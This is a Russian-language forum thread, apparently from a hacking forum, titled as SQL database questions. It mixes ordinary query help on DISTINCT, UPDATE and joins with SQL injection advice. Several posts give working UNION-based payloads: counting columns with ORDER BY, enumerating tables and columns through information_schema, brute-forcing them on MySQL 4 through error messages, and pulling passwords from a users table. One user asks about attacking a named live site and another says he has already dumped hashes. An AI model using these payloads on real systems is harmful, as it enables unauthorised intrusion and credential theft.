[sql] Вопросы по БД

Discussion in 'PHP' started by FraiDex, 25 Feb 2008.

Thread Status:
Not open for further replies.
  1. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20

    select ip,time,useragent from `log` order by time desc limit 1 ?
     
  2. skelet

    skelet New Member

    Joined:
    18 Oct 2010
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    люди помогитепочему кагда я сканирую вот этот сайт http://ocenshik.mostpp.ru/news.php?id=1 с проги SQL injec ,нажимаю кнопку injec у меня вылазиет инфа о хосте потом нажимаю кнопку Get Database у меня вылазиет таакая фегня Mysql is version 4 please brute either tables or columns люди помогите чо это за фегня плизз
     
  3. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    А что тут не ясного? 4 версия MySQL, нету таблицы information_schema, таблицы и колонки нужно брутить.
     
  4. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    имеется mysql инъекция
    при использовании скобок в запросе орёт
    Code:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    Пробовал
    SELECT VERSION()
    SELECT DATABASE()
    SELECT USER()
    SELECT CONCAT(1,2)
    SELECT CONCAT(/**/1/**/,/**/2/**/)
    SELECT ConCaT ( 1 , 2 )
    Он постоянно ругается на синтакс
    Фильтра нет, при ошибке запрос показывается, там скобки без изменений
    и SELECT '()' нормально выводит скобки
    Что делать и как жить дальше?
     
    #1264 Ponchik, 10 Nov 2010
    Last edited: 10 Nov 2010
  5. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Что мешает не использовать скобки?

    Версию без скобок, можно узнать так @@version
    Если 5 ветка, то проблем нет.

    sql.php?id=-2+order+by+1,2,3,4,5,6,7,8,9,10
    Unknown column '5' in 'order clause'
    sql.php?id=-2+union+select+1,table_name,column_name,4+from+information_schema.columns
    sql.php?id=-2+union+select+1,table_name,column_name,4+from+information_schema.columns+where+table_name>'последняя выведенная таблица из предидущего запроса'

    ну и так далее.

    Если принтабельное поле одно, то выводить таблицы и колонки по очереди, потом так же через where.

    Если 4 ветка, то надо писать эксплойт для брута, опять таки без скобок можно обойтись.

    Сначала перебирать таблицы, основываясь на ошибке
    id=2+union+select+1,2,3,4+from+users
    Table 'db.users' doesn't exist и тд
    id=2+union+select+1,2,3,4+from+admins
    Table 'db.admins' doesn't exist
    и тд

    Так же, таким запросом, ты можешь узнать имя текущей базы (вместо database()), в данном случае 'db'.

    Потом поля

    id=2+union+select+1,admin,3,4+from+admins
    Unknown column 'admin' in 'field list'
    id=2+union+select+1,adm,3,4+from+admins
    Unknown column 'adm' in 'field list'
    и тд

    Ну это конечно если дело в скобках :)

    Либо сразу шелл, если file_priv позволяет.
     
    #1265 h00lyshit!, 10 Nov 2010
    Last edited: 10 Nov 2010
    1 person likes this.
  6. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Redwood, стой стой стой! фрррр!
    Ты куда так разогнался

    Вот есть одно принтабелное поле, в юзере хранится login,hash,salt и вот через 1 поле это очень не прикольно выводить. мнебы concat()
    Токо не надо рассказывать как всё слить через 1 поле, я мне бы понять почему скобки не хочет юзать
     
  7. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    Что мешает использовать что-то типа -1+union+select+password+from+users+limit+0,1 ?
    Жить нормально и спокойно.
     
    #1267 Фараон, 10 Nov 2010
    Last edited: 10 Nov 2010
  8. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    да чтож вы за люди такие... если выбивать по 1му полю это в 3 раза дольше, а если я ещё email и phone и secret_answer выить хочу, то в 5 раз дольше
    Мне просто нужен конкат :(
    Вы хоть скажите почему он ругается, чтоб я понял
    я давно слил что мне надо, просто объясните что я делаю не так со скобками
     
  9. e-gral

    e-gral Banned

    Joined:
    4 Mar 2008
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    к примеру есть таблица table1 в этой таблице есть field1, в этом поле есть данные которые могут повторятся.
    Можно ли запросом mysql вытащить только те данные которые уникальны?
     
  10. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    e-gral

    SELECT DISTINCT field1 FROM table1;
    SELECT field1 FROM table1 GROUP BY field1;

    Первый вариант будет группировать записи по уникальности всех столбцов в выборке, второй по уникальности конкретных столбцов, заданных в GROUP BY
     
    _________________________
  11. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    [​IMG]
    Code:
    mysql> update `shell`.`shell` set id='1', PR='6', tyc='2200';
    ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'
    
    почему такая хрень и как исправить? (
     
  12. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    .:[melkiy]:.
    PHP:
    UPDATE `shell`.`shellSET PR='6'tyc='2200' WHERE id='1';
    А ошибка происходит из-за того, что записей больше одной и данный запрос пытается обновить все записи, а так как `id` является первичным ключом - не должно существовать двух записей с одинаковым значением этого столбца
     
    _________________________
    #1272 Gifts, 14 Nov 2010
    Last edited: 14 Nov 2010
    1 person likes this.
  13. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    Предположим что мы проектируем крупную БД, нужно описать сущность "адрес" в БД (для просто ты возьмем только city, street, appartament).
    Сама таблица имеет вид например
    Есть соответственно таблица (грубо говоря справочник)
    И есть таблица например
    Все это сделано для того чтобы максимально нормализовать и сделать независимыми данные.

    Вопрос: как теперь правильно сделать выборку адреса (само сабой там должны быть не ID города и улица, а именно их названия) ?

    как раз для этого и нужно джойнить таблицы ?
     
    #1273 cupper, 16 Nov 2010
    Last edited: 16 Nov 2010
  14. Mystery

    Mystery Member

    Joined:
    16 Nov 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    select t.appartament from
    table t
    inner join CYTI c on c.ID = t.ID_city and c.name = 'Moscow'
    inner join STREET st on st.ID = t.ID_street and st.ID_city = c.ID and st.name = 'Lenina'

    что-то в этом духе, если надо получить аппартамент

    зависит от системы, объёма бд, может лучше узнать 2мя запросами айдишник города и улицы, а потом подать запрос на получение аппартаментов
     
  15. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    вот как то так я себе это и представлял только выразить в буквы не могу, тогда для выборки данных адресе по ID можно например сделать так
    верно ?
    Связь между улицами и городоми сделала для того чтобы например можно было совсем не утруждаясь для любого города получить список его улиц, и предложить пользователя выбор а не возможность ввода.

    Теперь по поводу двух запросов (или подзапросов). С точки зрения производительности лучше джойнить или разделять на более мелкие запросы ?
     
  16. Mystery

    Mystery Member

    Joined:
    16 Nov 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    джоинить лучше :)
    только надо добавить FOREIGN KEYS для полей, по которым будет проходить джоин , это нужно для оптимизации запросов.
    производительность поднимиться :)
     
  17. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    FOREIGN KEYS а можешь в общих чертах изложить их принцип, чтоб понять их важность.
     
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Mystery
    В общем случае - нет, не лучше. Можете почитать например тут: http://habrahabr.ru/blogs/mysql/70640/#comment_2019876

    Покажите, пожалуйста, где написано, что внешние ключи влияют на оптимизатор запросов
     
    _________________________
  19. Mystery

    Mystery Member

    Joined:
    16 Nov 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    согласен с тем, что джоины не всегда быстрее выполняются

    был опыт , надо было сджоинить ~5 таблиц, в одной было порядка 800тысяч записей, в другой прядка 50тысяч, тестировал, оказалось,что
    запрос вида :
    select *
    from t1 , t2 , t3
    where t1.id = t2.id and t3.p_id = t1.id

    выполнялся быстрее нежели
    select * from t1
    inner join t2 on t1.id=t2.id
    inner join t3 on t3.p_id=t1.id

    в подробности этой ситуации не вдавался, было бы интересно узнать причину.

    FOREIGN KEYS
    http://dev.mysql.com/doc/refman/5.1/en/innodb-foreign-key-constraints.html
    на русском:
    http://www.mysql.ru/docs/mysql-man-4.0-ru/table-types.html#innodb-foreign-key-constraints
    внешние ключи по сути являются индексами. а индексы влияют на оптимизацию запросов :)
     
    #1279 Mystery, 17 Nov 2010
    Last edited: 17 Nov 2010
  20. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Mystery
    Все же вначале столбцы должны быть проиндексированы, а ПОТОМ на них можно вешать внешний ключ, который сам по себе - не влияет на оптимизатор.
     
    _________________________
    1 person likes this.
Thread Status:
Not open for further replies.